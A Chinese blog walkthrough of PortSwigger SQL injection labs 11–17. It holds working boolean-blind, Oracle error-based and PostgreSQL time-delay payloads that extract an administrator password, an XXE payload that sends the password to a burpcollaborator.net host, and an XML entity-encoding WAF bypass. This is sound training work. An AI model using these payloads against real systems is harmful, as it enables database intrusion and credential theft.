【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(下)

简介: 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(下)

心得:观察回显的不同(先看字节数)


实验11:带条件响应的SQL注入


part1:

加上

' AND 1=1--

367a3c25c2284f01857013081a7cc610.png


' AND 1=2--


少了一个欢迎回来,而且字节数也少了

说明存在注入点

f126950bf4dc4c78ad55a010689b9695.png


part2:

判单是否存在users表


1. ' AND (SELECT 'a' FROM users LIMIT 1)='a'--
2. 
3. (存在)


a5e40017eddc43eeb7918175f5410adf.png


判断是否存在administrator用户


1. ' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--
2. 
3. (存在)

401f6244e85243e88e186ad6242c91e9.png


判断密码长度


1. ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
2. 
3. (直接跑一下)


86091342c2db4198b09852b3d73cc104.png


46934563f62544d49521ba9554bef686.png



到数字20的时候就不成立了

说明密码有20位


00827bb6f55b487f979b728a01036cab.png


爆破每一个字符的值


' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--

54ab057745154f53861a42a260e85279.png


payload1:

1a3409e0dda645a5bfef03a5bd63cbb4.png

payload2:

8e4ec26709f14fd1bc1eaad664e7d9f3.png


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

11d0487798d245fe9ae64ae984032d63.png


98l1jlxbm80mk8dfnpmk


part3:

登陆

心得:通过条件判断执行对应语句


实验12:条件判断SQL注入


part1:

单引号报错

baa364e69cea4a87ad6cdd80b3ed9acf.png

2个单引号就正常了

(存在注入点,且为单引号闭合)

37e2465ae41648e281f54b670d2e7682.png

判断数据库类型


1. ' || (select '') || '
2. 
3. (报错,不是MySQL)

d74e12518154489d9ce48e02e85f8f6d.png


'||(SELECT '' FROM dual)||'
(未报错,可能是Oracle数据库)

6aa66f86a6f449ed843fcd12663c0289.png

(再次证明其他无关性,换一个不存在的表报错)

78f2f2e90b65489d8939f69a18ffa83b.png


part2:


1. '||(SELECT '' FROM users WHERE ROWNUM = 1)||'
2. 
3. (rownum=1 防止查询的时候返回多行)

b97a228e0163480aae533f654a1d83b3.png


再用类似上一个实验一样的方法,猜表、用户名,爆破密码


'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
(when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)

cf9ce97bf1af43ada92d5d3cc7ea3681.png


判断是否存在administrator用户


'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
(用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)

793cbb14375c4ee897bbc8b5b66982e0.png


判断密码位数


'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'


d3e8f6fb51f1445ea7b14929597ae0a9.png


cb422028fe564d6085fc72207d88e97c.png


到20的时候就返回200状态码了,说明密码长度为20位

c60ade40bdb145a4a4ce1bc028954902.png


爆破密码


'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

 

34d5aef0e2b94a169ffc821a668ed79f.png


payload1:

cbc046631f02404591bebcb87ff53a28.png


payload2:


755f643a16ce4e86b233988214c2f0a4.png


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

c3bcfc16efb3495ea1b352becc46103d.png


e8q11s15y9pc8z5b2n78


part3:

登陆


心得:拼接时间延迟函数


实验13:时延盲注


'||sleep(10)--



(几乎没什么时延,不是MySQL数据库)

4841cbd5914e4f048df7210ab635ca05.png


'||pg_sleep(10)--


(时延10s)

10f3e7b8a00d46b7aca1a63a2538ad51.png


心得:通过条件判断语句运行不同的命令


实验14:时延SQL注入


part1:

验证时延语句

1. '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
2. 
3. (延迟10s)

6ad2b85dc6144b45af390a8c7b9ef3ce.png


'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
(几乎无延迟)

eb2be880a0eb4bacaf4ae5dae4bcfc3d.png


判断用户administrator是否存在


'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
(延迟10s,说明为ture,即存在)


0a8da550cef14a6390f40923e6609cac.png


判断密码长度


'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

结果肯定是20位


爆破密码


'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_

da8d35a19c4c4407be5a0f94ba53a371.png


9eac6a310eaa44568ab39b056d61611c.png


30f5416e08274e83b0bb821d9514a6a0.png

结果:


勾选上时间


a52ad254d36c4ff6b8976f61fb9d05fa.png

e7475dfdd30c42aa9d08c997544ded08.png


(我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)

nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)


重新设6s

4492c60a786644738c196a4436cc3002.png


ndkt1iyvkal1svdw0omr(ok了)


part3:

登陆

心得:拼接后将数据带外回显


实验15:带外技术


part1:

e5bde17a05e7485db0013142c1d8e7fa.png

复制后,修改http://后面


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

d1983e90a552407884b3d06b4eaa07ff.png


part2:

1a9236a2b32b44e284dc73ad8e8bab97.png

34468bfcbe2d43b4bd5192098883d6ad.png


心得:拼接将数据带外回显


实验16:带外SQL注入


part1:


8aae30e778b94291b79b01f7d21f637d.png


(将划线部分替换为自己的,注入语句夹在了http头和URL之间)


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

part2:


6f8f8fa7ff844b2d9b366ffbd8b8b005.png

3f9055d4dce74defbdb8cd0bb15bdaa6.png


前面这个就是带出的密码


73d777c3da73448b8b5d44845fd88c80.png

part3:

登陆



六、其他类型SQL注入


心得:各种类型与数据库有关的数据交互

示例:
可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击
如一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。
这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。
如以下基于 XML 的 SQL 注入使用 XML 转义序列对 中的S字符进行编码
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
将在传递给 SQL 解释器之前在服务器端解码
漏洞识别:
1、请注意,库存检查功能以 XML 格式将 productId和 storeId发送到应用程序。
2、将POST /product/stock请求发送到bp中继器。
3、在 Burp 中继器中,探测storeId 以查看是否评估了您的输入。例如,尝试将 ID 替换为计算结果为其他潜在 ID 的数学表达式,例如:
<storeId>1+1</storeId>
4、观察您的输入似乎由应用程序评估,返回不同商店的库存。
5、尝试通过将语句追加到原始存储 ID 来确定原始查询返回的列数:UNION SELECT
<storeId>1 UNION SELECT NULL</storeId>
6、请注意,请求由于被标记为潜在攻击而被阻止。
绕过 WAF:
1、在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。
2、重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。
漏洞利用:
1、从上次中断的地方继续,并推断查询返回单个列。当您尝试返回多列时,应用程序将返回0 units ,这意味着错误。
2、由于只能返回一列,因此需要连接返回的用户名和密码,例如:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
3、发送此查询并观察是否已成功从数据库中获取用户名和密码(用字符分隔)。~
4、使用管理员的凭据登录并解决实验室问题


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
41 0
|
10天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
17 0
|
18天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
1月前
|
SQL JSON Kubernetes
Seata常见问题之服务端 error日志没有输出,客户端执行sql报错如何解决
Seata 是一个开源的分布式事务解决方案,旨在提供高效且简单的事务协调机制,以解决微服务架构下跨服务调用(分布式场景)的一致性问题。以下是Seata常见问题的一个合集
107 0
|
1月前
|
SQL 安全 测试技术
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
15 0
|
1月前
|
SQL 安全 API
|
2月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
31 0
|
2月前
|
SQL 数据库 数据安全/隐私保护
sql注入碰到加密数据怎么办
sql注入碰到加密数据怎么办
19 1
|
2月前
|
SQL 数据库
SQL注入基础(报错注入及延时注入)
SQL注入基础(报错注入及延时注入)
22 0